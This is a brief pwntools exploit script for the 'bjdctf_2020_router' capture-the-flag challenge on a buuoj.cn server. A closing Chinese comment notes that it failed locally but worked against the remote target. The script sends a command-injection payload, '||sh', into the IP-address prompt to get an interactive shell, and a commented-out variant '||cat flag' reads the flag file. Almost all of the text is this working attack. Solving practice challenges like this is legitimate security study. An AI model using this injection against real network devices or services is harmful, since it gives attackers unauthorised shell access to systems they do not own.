from pwn import*
context.log_level = 'debug'
io = remote("node4.buuoj.cn",27119)
#io = process('./bjdctf_2020_router')
#elf = ELF('./memory')
io.recvuntil('Please input u choose:')
io.sendline('1')
io.recvuntil('Please input the ip address:')
io.sendline('||sh')#io.sendline('||cat flag')
io.interactive()
我本地一直搞不通,我还以为方法错了,百度一下没错,打远程就对了